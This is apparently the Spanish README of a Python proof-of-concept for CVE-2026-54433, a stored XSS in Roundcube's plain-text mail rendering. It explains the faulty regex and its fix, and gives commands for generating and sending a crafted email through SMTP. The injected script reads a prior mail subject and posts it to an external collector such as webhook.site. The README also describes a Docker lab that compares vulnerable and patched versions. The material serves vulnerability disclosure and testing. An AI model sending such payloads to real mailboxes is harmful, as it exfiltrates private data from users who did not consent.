
PoC de Python configurable para CVE-2026-54433, un XSS almacenado en el renderizador de correo en texto plano de Roundcube. Genera un .eml manipulado, lo envía a través de SMTP y valida el impacto en un laboratorio Docker.

Este repositorio contiene una prueba de concepto configurable en Python para
CVE-2026-54433, una vulnerabilidad de cross-site scripting almacenado en el
renderizador de correos de texto plano de Roundcube. Un remitente no autenticado puede
entregar un mensaje text/plain manipulado. Cuando un usuario autenticado de Roundcube
abre o previsualiza ese mensaje, JavaScript controlado por el atacante se ejecuta en el
origen de Roundcube.
La PoC demuestra un impacto concreto en sesiones autenticadas sin recopilar cookies ni cuerpos de mensajes: lee el asunto de un mensaje antiguo y envía ese valor, el origen de Roundcube y el nombre de la tarea a un recolector autorizado como campos POST codificados en URL.
Advertencia
Esto es código de exploit activo. Úsalo solo en un laboratorio propio o contra un sistema y buzón para los que tengas autorización explícita de prueba. El modo de envío transmite un correo manipulado y puede revelar un asunto preexistente al recolector. Usa
--generate-onlypara inspección sin conexión.
Roundcube convierte las direcciones encontradas en mensajes de texto plano en
enlaces mailto: clicables. En las versiones afectadas, el sufijo de consulta
opcional se comparaba con :
\S+. '(\?\S+)?'
Debido a que \S incluye < y >, una cadena que comienza como una dirección de
correo podía hacer que el reemplazo de autoenlace consumiera una etiqueta HTML de
apertura dejando el resto para ser interpretado como marcado. Esta forma mínima
ilustra la primitiva:
La corrección oficial restringe el sufijo de consulta para que no pueda contener corchetes angulares ni espacios en blanco:
. '(\?[^<>\s]+)?'
El proveedor describe el problema como «zero-click» porque no se requiere ningún clic en el enlace. Abrir o previsualizar el correo estando autenticado sigue siendo la acción del cliente de correo que renderiza la carga útil.
| Línea de versión | Estado |
|---|---|
| Versiones de Roundcube anteriores a 1.6.17 | Afectadas |
| Roundcube 1.6.17 y 1.6.x posteriores | Corregidas |
| Roundcube 1.7.0 y 1.7.1 | Afectadas |
| Roundcube 1.7.2 y posteriores | Corregidas |
Las confirmaciones públicas de la corrección son:
5477e979aae0317e111564bfc9971ba7707cc1654c278f4868c67b163567cae3d74e58d872913459Actualiza a Roundcube 1.6.17 / 1.7.2 o a una versión soportada más reciente.
text/plain.src relativo que falla para invocar
onerror. Una devolución de llamada al recolector aún requiere conectividad de red
del navegador.HttpOnly. Esta PoC no intenta
leerla. Su solicitud de mismo origen usa automáticamente la sesión autenticada, y
el asunto del mensaje separado es la prueba de impacto.El resultado demostrado es ejecución de JavaScript autenticada y acceso de lectura a un asunto de correo anterior. La toma de control de la cuenta, el robo arbitrario del cuerpo de mensajes y la ejecución de código en el servidor no son reclamados por este repositorio.
cve-2026-54433-poc.py es autocontenido y usa solo la biblioteca estándar de Python.
Este script:
text/plain RFC 5322 ordinario y manipulado;CVE-2026-54433;subject, origin y task a /capture/<random-marker>;La carga útil inserta el comentario DOM:
<!-- This is a BugBounty test; only one subject is copied as evidence -->
También oculta el fragmento de dirección autoenlazada y el indicador de imagen rota mientras muestra el cuerpo benigno suministrado por el llamante.
Genera el correo sin realizar una conexión de red:
python3 cve-2026-54433-poc.py \
--from [email protected] \
--to [email protected] \
--subject 'Account access problem' \
--body "Hi, I'm having trouble with my account, can you help me? My username is @abugpro. Thank you very much." \
--collector https://collector.example.test \
--generate-only
Esto escribe:
cve-2026-54433-trigger.emlcve-2026-54433-evidence.jsonInspecciona el mensaje generado antes de usar el modo de envío.
El valor de --collector puede ser un UUID de Webhook.site, una URL de captura o una
URL #!/view/. El script deriva los endpoints de captura y de sondeo.
python3 cve-2026-54433-poc.py \
--from [email protected] \
--to [email protected] \
--subject 'Account access problem' \
--body "Hi, I'm having trouble with my account, can you help me? My username is @abugpro. Thank you very much." \
--collector 'https://webhook.site/#!/view/REPLACE-WITH-UUID' \
--smtp-host smtp.example.com \
--smtp-port 587 \
--smtp-security starttls \
--smtp-user [email protected]
Si SMTP_PASSWORD no está presente, el script solicita la contraseña sin mostrarla
ni almacenarla. Se puede seleccionar una variable con otro nombre mediante
--smtp-password-env NAME. Evita --smtp-password en sistemas multiusuario
porque los argumentos de línea de comandos pueden ser visibles en listados de
procesos o en el historial del shell.
El script solicita un YES explícito antes de enviar. En automatización de laboratorio
no interactiva y ya autorizada, usa --yes. Espera hasta 24 horas por una devolución
de llamada por defecto; usa --timeout SECONDS para cambiarlo.
Para un recolector que no sea Webhook.site, pasa la base de captura y el endpoint de estado JSON opcional:
python3 cve-2026-54433-poc.py \
--from [email protected] \
--to [email protected] \
--subject 'Authorized XSS test' \
--collector https://collector.example.test \
--poll-url https://collector.example.test/status \
--smtp-host mail.example.test \
--smtp-security starttls
El collector.py incluido implementa los endpoints compatibles /capture/<marker> y
/status. Se enlaza al loopback por defecto. El despliegue real con HTTPS y el
control de acceso se dejan intencionalmente al evaluador autorizado.
El laboratorio no publica puertos de host y contiene solo mensajes sintéticos. Usa la misma PoC de Python para generar el disparador, entrega ambos mensajes en un buzón Dovecot desechable, inicia sesión a través de un navegador headless desechable y registra si el manejador inyectado leyó el asunto anterior.
Requisitos: Docker, Python 3, OpenSSL y jq.
Prueba vulnerable:
./lab/run.sh
Control corregido:
ROUNDCUBE_IMAGE=roundcube/roundcubemail:1.7.3-apache \
ROUNDCUBE_VERSION=1.7.3 EXPECTED_RESULT=NOT_CONFIRMED \
./lab/run.sh
Para una demostración en video o con navegador en vivo, ejecuta:
./lab/demo.sh
Publica Roundcube y el recolector visual solo en loopback. Abre las dos URL impresas por el script, muestra el recolector inicialmente vacío, inicia sesión con las credenciales sintéticas impresas, haz clic en el correo disparador y vuelve al recolector. El asunto sintético capturado aparece en una tabla de actualización automática. Ctrl-C elimina los contenedores y la red desechables.
Para grabar la interacción del navegador y una devolución de llamada real de Webhook.site, usa el grabador reproducible. Requiere Chrome, Xvfb, ffmpeg, Docker y un token autorizado de Webhook.site proporcionado a través del entorno:
WEBHOOK_TOKEN='REPLACE-WITH-UUID' ./record-browser-demo.sh
El MP4 resultante muestra la fila visible del disparador en Roundcube, un clic de ratón anotado y Webhook.site mostrando el asunto sintético recibido. El token nunca se almacena en el árbol de fuentes.
Artefacto grabado: assets/CVE-2026-54433-webhook-demo.mp4
La grabación incluye un panel de terminal visible que muestra la invocación Python de solo generación, su salida de generación de la carga útil, el clic en Roundcube y la solicitud resultante a Webhook.site.
La demostración visual también acepta COLLECTOR_URL y COLLECTOR_VIEW_URL;
apunta ambos a un token autorizado de Webhook.site para mostrar el recolector real
recibiendo el asunto sintético. No reutilices un token que contenga solicitudes no
relacionadas.
La comparación de extremo a extremo se ejecutó el 2026-08-14 en Linux x86-64 con Docker:
| Control | Digest de imagen | Manejador inyectado | Asunto anterior enviado | Resultado |
|---|---|---|---|---|
| Roundcube 1.7.1 Apache | sha256:15866e72c583a7c0117c94d515c366946b20157569d65ef9c24dca6026663b1f | eval(name) presente | Sí, POST codificado en URL | CONFIRMED |
| Roundcube 1.7.3 Apache | sha256:ddf0e11b5afdbbc615e1d43a1cc9743fc44423e6c21fc93f7dd5dfaa20289ad6 | Ausente; marcado escapado | Sin devolución de llamada | NOT_CONFIRMED |
Cuerpo de la devolución de llamada positiva (valor sintético, origen saneado):
subject=Existing+private+subject+2026&origin=http%3A%2F%2Froundcube.example.test&task=mail
La comparación estructurada y saneada está en
docs/e2e-results.json.
La comprobación sin conexión compila las fuentes Python, genera un .eml nuevo y
comprueba su tipo MIME, la primitiva de la carga útil, el cuerpo visible, el comentario
y los metadatos:
./verify.sh
Establece RUN_DOCKER=1 para añadir ambos controles Docker de extremo a extremo:
RUN_DOCKER=1 ./verify.sh
El 2026-08-14, las búsquedas específicas de CVE-2026-54433 en GitHub,
Exploit-Database y Packet Storm no localizaron un exploit de envío de correo validado
y configurable con una comparación vulnerable/corregido de extremo a extremo. Ya
existían entradas del proveedor y de bases de datos de vulnerabilidades, discusiones
de plantillas de escáner y artículos descriptivos. Esta es una instantánea de búsqueda
fechada, no una afirmación de que no pueda existir otra PoC.
Descubrimiento de la vulnerabilidad: Bohdan Kurinnoy, Samsung R&D Institute Ukraine (SRUKR), según lo acreditado por Roundcube.
Investigación, validación del impacto e implementación del exploit: A. Ramos
<[email protected]> (Twitter: @aramosf).
PoC de CVE-2026-54433, XSS almacenado en correos de texto plano de Roundcube, con evidencia acotada del asunto de buzón autenticado y un laboratorio Docker vulnerable/corregido.